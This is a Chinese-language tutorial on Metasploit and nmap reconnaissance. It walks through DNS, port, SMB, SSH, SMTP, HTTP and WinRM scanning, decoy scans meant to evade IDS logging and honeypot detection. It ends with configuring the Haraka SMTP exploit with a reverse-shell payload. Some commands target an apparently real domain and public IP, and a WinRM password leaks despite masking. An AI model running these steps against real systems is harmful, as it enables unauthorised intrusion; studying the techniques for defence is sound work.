参考链接:
第八章(二)—漏洞扫描(nmap脚本使用)–作者:婉哥
nmap脚本(nse)使用总结–作者 whatday
Metasploit快速入门(二)–公众号:合天智汇
MS渗透的大致步骤如下:
- 扫描目标机系统,寻找可用漏洞
- 选择配置一个漏洞利用模块
- 选择并配置一个攻击载荷模块
- 选择一个编码技术,用来绕过杀毒软件的查杀
- 渗透攻击
目的:
目标机器的IP、可用服务、开放端口等等
模块显示:
search + XXX
gather模块
search gather
DNS扫描和枚举模块,可用于从给定的DNS服务器收集有关域名的信息,执行各种DNS查询(如域传送、反向查询、SRV记录等)
1、进入模块:use auxiliary/gather/enum_dns
查看模块信息:info
2、设置查询域名、线程数量,然后运行它。
set DOMAIN rongjiu168.com //设置查询域名
set THREADS 5 //设置线程数量
run //运行它
更多:
从Yahoo和Bing收集域名的子域信息。
调用此模块:
use auxiliary/gather/searchengine_subdomains_collector
Censys搜索引擎,与最流行的搜索引擎Shodan非常类似。Censys是一款免费的搜索引擎,密歇根大学的研究者开发的检索引擎,用的是自己开发的Scan工具:zmap。速度比Nmap快N倍,传说4分钟可以扫全IPv4。但是api使用还是有次数限制。
use auxiliary/gather/censys_search //调用模块
set CENSYS_DORK packtpub.com //设置目标站点
set CENSYS_SEARCHTYPE ipv4 //设置搜索类型
PS://还需要设置censys密钥和API_ID,但是这两个需要在 https://censys.io/register 注册获取API和密钥
shodan搜索引擎
与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。每个月Shodan都会在大约5亿个服务器上日夜不停地搜集信息。
PS:需要使用此模块也需要去shodan官网 https://account.shodan.io/login 注册过去API key。
调用模块:
use auxiliary/gather/shodan_search
shodan蜜罐检测:
检测目标是否为蜜罐,避免浪费时间或因为试图攻击蜜罐而被封锁。使用 Shodan Honeyscore Client 模块,可
以利用 Shodan 搜索引擎检测目标是否为蜜罐。结果返回为 0 到 1 的评级分数,如果是 1 ,则是一个蜜罐。
调用模块:
use auxiliary/gather/shodan_honeyscore
查看可用的端口模块:
search portscan
从上面可以看见有许多的扫描类型,在此我们以TCP扫描为例:
调用模块:
use auxiliary/scanner/portscan/tcp
利用 show options
查看所有的配置选项。用 show missing
查看必须要配置的选项。
接下来,我们来分析一下上面的的参数:
set命令设置参数,unser命令取消某个参数。
在Required列中,被标记为yes的参数必须包含实际的值,如没有设置的话,将调用默认值(即在current setting中的值)。
RHOSTS:设置待扫描的IP地址
PORTS:设置扫描的端口范围
THREADS:设置扫描线程,线程越高,数量越快。
相对普通的TCP扫描来说,SYN扫描速度比较快,因为他不会完成TCP三次握手,而且可以在一定程度上躲避防火墙和入侵检测系统的检测。
调用模块;
use auxiliary/scanner/portscan/syn
进入nmap:
msf5> nmap
1.TCP扫描:参数为 -sT, nmap -sT 192.168.1.XXX
2.TCP SYN扫描:参数为-sS, nmap -sS 192.168.1.XXX
3.UDP扫描:参数为 -sU, nmap -sU 192.168.1.XXX
4系统.扫描端口,及端口相关服务与版本号,参数为 -sV, nmap -sV 192.168.1.xxx
5.操作系统和版本检测,参数- O,nmap -O 192.168.1.XXX
6.隐蔽扫描
默认情况下,防火墙和IDS日志会记录你的IP,nmap中提供了-D选项来增加迷惑性。
他是通过添加其他的IP地址,让目标以为是多个IP在攻击,并不能阻止防火墙和IDSji记录你的IP。
msf5> nmap -sT 192.168.1.177 -D 192.168.1.1,192.168.1.2
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。
主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;
收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
ARP欺骗:
地址解析协议ARP是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;
由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。
通过ARP可以枚举本地网络中的存活主机,提供一个简单而快速的识别目标的方法。
如下,我们可以通过arp -a指令查看一下我们自己计算机的ARP缓存表:
当我们的攻击者与目标机器处于同一个局域网时,可以通过执行 ARP 扫描发现主机。
1.使用ARP 扫描模块( auxiliary/scanner/discovery/arp_sweep
)
use auxiliary/scanner/discovery/arp_sweep
通过 show options
查看需要的范围。
设置目标地址范围和并发线程,然后运行。
sf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.1.0/24 //设置主机IP范围
RHOSTS => 192.168.1.0/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set THREADS 100 //设置线程数
THREADS => 100
msf5 auxiliary(scanner/discovery/arp_sweep) > run //运行
如果连接了数据库的话,可以输入 hosts
查看存在的机器如下所示:
使用UDP服务扫描模块检测系统的UDP服务,由于UDP是一个无连接的协议(不面向连接),因此探测比TCP困难。
调用模块:
use auxiliary/scanner/discovery/udp_sweep
Samba是Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网的不同计算机之间提供文件及打印机等资源的共享服务。
SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。已被证明是最容易被攻击的协议之一,它允许攻击枚举目标文件和用户,甚至是远程代码执行。
在这我们使用无需身份验证的共享枚举模块,帮助我们收集一些有价值的东西。
调用模块:
use auxiliary/scanner/smb/smb_enumshares
设置必要的相关参数:
msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.1.177
RHOSTS => 192.168.1.177
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBPASS vagrant
SMBPASS => vagrant
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBUser vagrant
SMBUser => vagrant
msf5 auxiliary(scanner/smb/smb_enumshares) > set ShowFiles true
ShowFiles => true
msf5 auxiliary(scanner/smb/smb_enumshares) > sett SpiderShares
^CInterrupt: use the 'exit' command to quit
msf5 auxiliary(scanner/smb/smb_enumshares) > set SpiderShares
SpiderShares => false
msf5 auxiliary(scanner/smb/smb_enumshares) > show options
检查我们设置的参数是否有问题,没问题的话输入 run
运行结果。
SSH,为 Secure Shell 的缩写,SSH 是较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。
1、调用SSH版本探测模块来获取目标系统上运行的SSH版本信息。
use auxiliary/scanner/ssh/ssh_version
这里的RHOSTS选项也可以指定为网络地址,从而扫描整个网段。
获取版本信息之后,我们就可以搜索该版本的漏洞信息。
2、如下,为使用ssh登录测试模块测试常用口令登录ssh
3、如果登录成功,可以用sessions车看回话与目标进行会话交互。
同理,可以使用模块来检测正在运行的ftp的版本。
调用模块:
use auxiliary/scanner/ftp/ftp_version
SMTP是一种提供可靠且有效的电子邮件传输的协议。SMTP是建立在FTP文件传输服务上的一种邮件服务,主要用于系统之间的邮件信息传递,并提供有关来信的通知。
使用SMTP,可实现相同网络处理进程之间的邮件传输,也可通过中继器或网关实现某处理进程与其他网络之间的邮件传输。
SMTP服务,服务于两个允许枚举用户的内部命令:
默认情况下,SMTP枚举模块使用 unix_users.txt
文件(/usr/share/metasploit-framework/data/wordlists/unix_users.txt
)作为字典,也可以自己指定字典文件。
调用模块。
use auxiliary/scanner/smtp/smtp_enum
简单网络管理协议(SNMP) 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,它是一种应用层协议。
use auxiliary/scanner/snmp/snmp_enum
HTTP协议,全称为HyperText Transfer Protocol,中文名为超文本传输协议,是互联网中最常用的一种网络协议。HTTP的重要应用之一是WWW服务。设计HTTP协议最初的目的就是提供一种发布和接受HTML(一种页面标记语言)页面的方法。
1.检测目标机器的HTTP SSL证书。
msf5 auxiliary(scanner/snmp/snmp_enum) > use auxiliary/scanner/http/cert //调用模块
msf5 auxiliary(scanner/http/cert) > set RHOSTS 111.75.188.59 //设置目标IP
RHOSTS => 111.75.188.59
msf5 auxiliary(scanner/http/cert) > set PORT 8080 //设置端口
PORT => 8080
msf5 auxiliary(scanner/http/cert) > run
2.检测robots.txt 文件
msf5 auxiliary(scanner/http/cert) > use auxiliary/scanner/http/robots_txt
msf5 auxiliary(scanner/http/robots_txt) > use auxiliary/scanner/http/cert
msf5 auxiliary(scanner/http/cert) > set RHOSTS 192.168.1.177
RHOSTS => 192.168.1.177
msf5 auxiliary(scanner/http/cert) > set PORT 10000
PORT => 10000
msf5 auxiliary(scanner/http/cert) > run
3.HTTP可写路径 PUT/DELETE 文件访问模块可以通过 PUT 和DELETE 请求上传和删除Web服务器上的内容。
WinRM是Windows本地的内置远程管理协议,其最简单的形式是使用“简单对象访问协议”与远程计算机和服务器以及操作系统和应用程序接口。
1、windows身份认证检测
msf5 auxiliary(scanner/http/http_put) > use auxiliary/scanner/winrm/winrm_auth_methods
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > set RHOSTS 192.168.1.177
RHOSTS => 192.168.1.177
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > run
msf5 auxiliary(scanner/winrm/winrm_cmd) > use auxiliary/scanner/winrm/winrm_cmd
msf5 auxiliary(scanner/winrm/winrm_cmd) > set CMD hostname
CMD => hostname
msf5 auxiliary(scanner/winrm/winrm_cmd) > set RHOSTS 192.168.XXX.XXX
RHOSTS => 192.168.31.234
msf5 auxiliary(scanner/winrm/winrm_cmd) > set USERNAME Administrator
USERNAME => Administrator
msf5 auxiliary(scanner/winrm/winrm_cmd) > set PASSWORD XXXXXX
PASSWORD => hhazj1234
msf5 auxiliary(scanner/winrm/winrm_cmd) > run
map扫描脚本,它可以将nmap转为漏洞扫描器使用,NSE默认集成500多个脚本,这些脚本是有分类的,每个脚本所做的工作是不同方面的。
/usr/share/nmap/scripts/ #nmap的脚本都在该目录下存放
cat script.db
less script.db | grep vuln | wc -l #查看nmap中有多少个关于弱点vuln的脚本
如下,后面的脚本的大致分类:
auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
我们可以在/usr/share/nmap/scripts/
目录中找到这些脚本,或者如下,用 locate *.nse
来找到。
大致用法为:nmap --script
如果想要使用这个分类下的所有脚本,可以在–script的后面加上分类名称,同样我们可以用相似的方法来提高目标版本的检测功能,以及将目标端口设置为全部有效端口。
nmap -p- -sV --version-all --script discovery 192.168.1.177
来自于链接:http://blog.sina.com.cn/s/blog_b02937e80102wg23.html
进行ping扫描,打印出对扫描做出响应的主机,不做进一步测试(如端口扫描或者操作系统探测):
nmap -sP 192.168.1.0/24
仅列出指定网络上的每台主机,不发送任何报文到目标主机:
nmap -sL 192.168.1.0/24
探测目标主机开放的端口,可以指定一个以逗号分隔的端口列表(如-PS22,23,25,80):
nmap -PS 192.168.1.234
使用UDP ping探测主机:
nmap -PU 192.168.1.0/24
使用频率最高的扫描选项:SYN扫描,又称为半开放扫描,它不打开一个完全的TCP连接,执行得很快:
nmap -sS 192.168.1.0/24
当SYN扫描不能用时,TCP Connect()扫描就是默认的TCP扫描:
nmap -sT 192.168.1.0/24
UDP扫描用-sU选项,UDP扫描发送空的(没有数据)UDP报头到每个目标端口:
nmap -sU 192.168.1.0/24
确定目标机支持哪些IP协议 (TCP,ICMP,IGMP等):
nmap -sO 192.168.1.19
探测目标主机的操作系统:
nmap -O 192.168.1.19
nmap -A 192.168.1.19
从上面扫描的主机,我们可以发现上面含有smtp协议,因此我们可以 search smtp
搜索smtp的漏洞利用模块,并选择合适的模块,如下图所示。
我们可以查看各个漏洞的rank。从而判断他的利用相对难易度,可以优先使用标记为"excellent"的,即杰出省时间而且是最新的。
use选择我们想要的模块。
use exploit/linux/smtp/harak
show payloads
set PAYLOAD generic/shell_reverse_tcp
然后再用 set 对其他参数进行设置。
sf5 exploit(linux/smtp/haraka) > set PAYLOAD generic/shell_reverse_tcp //选择攻击载荷
PAYLOAD => generic/shell_reverse_tcp
msf5 exploit(linux/smtp/haraka) > set RHOST 192.168.1.177 //设置被攻击主机IP
RHOST => 192.168.1.177
msf5 exploit(linux/smtp/haraka) > set RPORT 25 //设置漏洞利用端口号
RPORT => 25
msf5 exploit(linux/smtp/haraka) > set LHOST 192.168.10.130 //设置发动攻击主机IP
LHOST => 192.168.10.130
msf5 exploit(linux/smtp/haraka) > show options //确认攻击参数是否已经设置号